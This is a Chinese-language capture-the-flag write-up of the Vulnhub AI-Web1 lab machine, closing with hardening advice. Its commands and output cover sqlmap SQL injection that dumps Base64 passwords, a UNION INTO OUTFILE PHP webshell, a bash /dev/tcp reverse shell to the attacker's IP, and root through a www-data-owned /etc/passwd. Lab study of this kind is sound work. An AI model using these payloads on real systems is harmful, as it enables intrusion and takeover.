☰
AI-Web1 靶机渗透测试(Vulnhub Writeup)
2026/10/15 18:49:55 网站建设 项目流程

AI-Web1 靶机渗透测试(Vulnhub Writeup)

一、靶机与环境介绍

本次实战目标为 Vulnhub 平台的 AI-Web1 靶机,是一台仅开放 80 端口的 PHP + MySQL 自研应用。完整攻击链为:信息收集 → 从 robots.txt 定位隐藏目录 → 用户查询功能 SQL 注入脱库 → phpinfo 获取网站绝对路径 → UNION INTO OUTFILE 写 WebShell 反弹 Shell → 数据库密码复用切换 aiweb1pwn 用户 → 利用 /etc/passwd 属主为 www-data 的错误配置改写 UID 直接提权 root。攻击机为 Kali Linux(192.168.153.162),靶机地址经扫描确认为 192.168.153.170。

二、信息收集

(一)存活主机扫描

┌──(root㉿kali)-[~] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162 192.168.153.170 00:0c:29:d0:7e:32 VMware, Inc.

(二)端口扫描

全端口扫描仅开放 80 端口,Apache 服务,首页标题为 AI Web 1.0;nmap 脚本直接从 robots.txt 中识别出两个隐藏路径:/m3diNf0/ 与 /se3reTdir777/uploads/。

┌──(root㉿kali)-[~] └─# nmap -p- 192.168.153.170 PORT STATE SERVICE 80/tcp open http ┌──(root㉿kali)-[~] └─# nmap -p80 -sV -sC -O -T4 192.168.153.170 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd | http-robots.txt: 2 disallowed entries |_/m3diNf0/ /se3reTdir777/uploads/ |_http-server-header: Apache |_http-title: AI Web 1.0

(三)目录扫描

分别使用 Metasploit dir_scanner、dirb 与 gobuster 对目标做目录爆破,确认除首页 index.html 与 robots.txt 外,其余路径基本为隐藏目录。

# Metasploit dir_scanner msf > use auxiliary/scanner/http/dir_scanner msf auxiliary(scanner/http/dir_scanner) > set rhosts 192.168.153.170 msf auxiliary(scanner/http/dir_scanner) > run [+] Found http://192.168.153.170:80/icons/ 403 # dirb ┌──(root㉿kali)-[~] └─# dirb http://192.168.153.170 + http://192.168.153.170/index.html (CODE:200|SIZE:141) + http://192.168.153.170/robots.txt (CODE:200|SIZE:82) # gobuster ┌──(root㉿kali)-[~] └─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.153.170 -x php,html,md,zip,txt /index.html (Status: 200) [Size: 141] /robots.txt (Status: 200) [Size: 82]

首页提示连谷歌都搜索不到本站内容,进一步说明必须通过完备的目录扫描才能发现隐藏路径。直接访问 /se3reTdir777/uploads/ 被拒绝,但去掉 /uploads 后缀后进入 /se3reTdir777/,发现一个按 User ID 查询用户信息的功能页面。

三、用户查询功能 SQL 注入脱库

(一)定位注入点

在 User ID 输入框输入 1 可以正常返回 admin 用户信息,输入 1 后追加单引号 1 提交,页面直接回显 MySQL 语法错误,确认此处为字符型 SQL 注入点。

(二)sqlmap 一键脱库

该接口以 POST 方式提交 uid 与 Operation=Submit 参数,直接使用 sqlmap 跑全流程,枚举数据库、表、列并 dump systemUser 表,密码字段均为 Base64 编码。

┌──(root㉿kali)-[~] └─# python sqlmap.py -u http://192.168.153.170/se3reTdir777/ --data="uid=1&Operation=Submit" --batch --dbs ┌──(root㉿kali)-[~] └─# python sqlmap.py -u http://192.168.153.170/se3reTdir777/ --data="uid=1&Operation=Submit" --batch -D aiweb1 --tables ┌──(root㉿kali)-[~] └─# python sqlmap.py -u http://192.168.153.170/se3reTdir777/ --data="uid=1&Operation=Submit" --batch -D aiweb1 -T systemUser -C userName,password --dump Database: aiweb1 Table: systemUser [3 entries] +-----------+----------------------------------------------+ | userName | password | +-----------+----------------------------------------------+ | t00r | RmFrZVVzZXJQYXNzdzByZA== | | aiweb1pwn | TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== | | u3er | TjB0VGhpczBuZUFsczA= | +-----------+----------------------------------------------+

将三条 Base64 密码逐一解码:

t00r : RmFrZVVzZXJQYXNzdzByZA==-> FakeUserPassw0rd aiweb1pwn : TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ==-> MyEvilPass_f908sdaf9_sadfasf0sa u3er : TjB0VGhpczBuZUFsczA=-> N0tThis0neAls0

四、phpinfo 辅助写 WebShell

(一)phpinfo 获取网站绝对路径

访问 robots.txt 暴露的另一隐藏目录 /m3diNf0/,发现 info.php 为 phpinfo 页面,从中读到 DOCUMENT_ROOT 为 /home/www/html/web1x443290o2sdf92213。MySQL 通过 INTO OUTFILE 写文件必须知道网站根目录的绝对路径,phpinfo 正好补齐这一关键信息。

(二)UNION INTO OUTFILE 写入 Shell

当前 MySQL 账号 secure_file_priv 配置为空值且 uploads 目录可写,直接使用 UNION 查询把一句话木马写入到 uploads 目录下:

1' union select null,null,'<?php system($_GET[0]);?>' into outfile '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php'-- -

本地 nc 监听 4444,通过 shell.php 的 0 参数传入反弹命令:

http://192.168.153.170/se3reTdir777/uploads/shell.php?0=/bin/bash%20-c%20%22/bin/bash%20-i%20%3E%26%20/dev/tcp/192.168.153.162/4444%200%3E%261%22
┌──(root㉿kali)-[~] └─# nc -lvvp 4444 listening on [any] 4444 ... connect to [192.168.153.162] from (UNKNOWN) [192.168.153.170] 34452 www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)

也可以直接通过 shell.php 执行系统命令,例如 cat /etc/passwd:

五、密码复用与改写 /etc/passwd 提权

(一)www-data → aiweb1pwn:密码复用

查看 /etc/passwd 发现系统中存在 aiweb1 与 aiweb1pwn 两个本地用户,其中 aiweb1pwn 与数据库 systemUser 表中的用户名一致,尝试用解码后的密码 MyEvilPass_f908sdaf9_sadfasf0sa 直接 su 切换成功。

www-data@aiweb1:$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash aiweb1:x:1000:1000:AIWEB1:/home/aiweb1:/bin/bash aiweb1pwn:x:1001:1001::/home/aiweb1pwn:/bin/sh www-data@aiweb1:$ su - aiweb1pwn Password: MyEvilPass_f908sdaf9_sadfasf0sa $ id uid=1001(aiweb1pwn) gid=1001(aiweb1pwn) groups=1001(aiweb1pwn)

(二)aiweb1pwn → root:改写 /etc/passwd

进一步检查发现该靶机的 /etc/passwd 属主与属组竟然都是 www-data(-rw-r--r-- 1 www-data www-data),属于严重的权限错误配置。直接复制该文件、把 aiweb1pwn 一行的 UID/GID 从 1001:1001 改为 0:0,再写回原路径。

www-data@aiweb1:$ ls -l /etc/passwd -rw-r--r-- 1 www-data www-data 1664 Oct 14 05:25 /etc/passwd # 将 aiweb1pwn 行改写为: aiweb1pwn:x:0:0::/home/aiweb1pwn:/bin/sh

再次 su aiweb1pwn 时,由于其 UID 已经是 0,直接获得 root 权限:

www-data@aiweb1:$ su aiweb1pwn Password: MyEvilPass_f908sdaf9_sadfasf0sa # id uid=0(root) gid=0(root) groups=0(root) # whoami root # cat /root/flag.txt AI: WEB 1.0 Congratulation!!! Thank you for penetrate my system. Hope you enjoyed this. flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}

六、总结

AI-Web1 靶机的完整攻击链如下:

1. 仅开放 80 端口,nmap 脚本直接从 robots.txt 识别出 /m3diNf0/ 与 /se3reTdir777/ 两个隐藏目录;

2. /se3reTdir777/ 用户查询功能存在字符型 SQL 注入,sqlmap 脱库得到三个 Base64 编码的账号密码;

3. /m3diNf0/info.php 泄露网站绝对路径 /home/www/html/web1x443290o2sdf92213,配合 MySQL secure_file_priv 为空,使用 UNION INTO OUTFILE 写入一句话木马并反弹 Shell;

4. 数据库中的 aiweb1pwn 凭据在系统中复用,su 切换成功;

5. 该靶机 /etc/passwd 属主错误配置为 www-data,直接把 aiweb1pwn 的 UID/GID 改为 0:0 后再次 su,直接获得 root。

对应的安全建议:① 隐藏路径不应依赖 robots.txt 作为安全机制,敏感目录必须通过访问控制保护;② 所有数据库查询应使用预编译语句,杜绝字符串拼接;③ phpinfo 页面绝不应部署在生产环境,更不能暴露网站绝对路径;④ MySQL 应设置 secure_file_priv 限制文件写入权限,并以最小权限账号运行;⑤ 系统关键文件 /etc/passwd、/etc/shadow 等必须保持 root:root 与严格权限位,绝不能被 Web 用户写入;⑥ 数据库密码与系统账号密码应分离,避免一处泄露全线沦陷。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询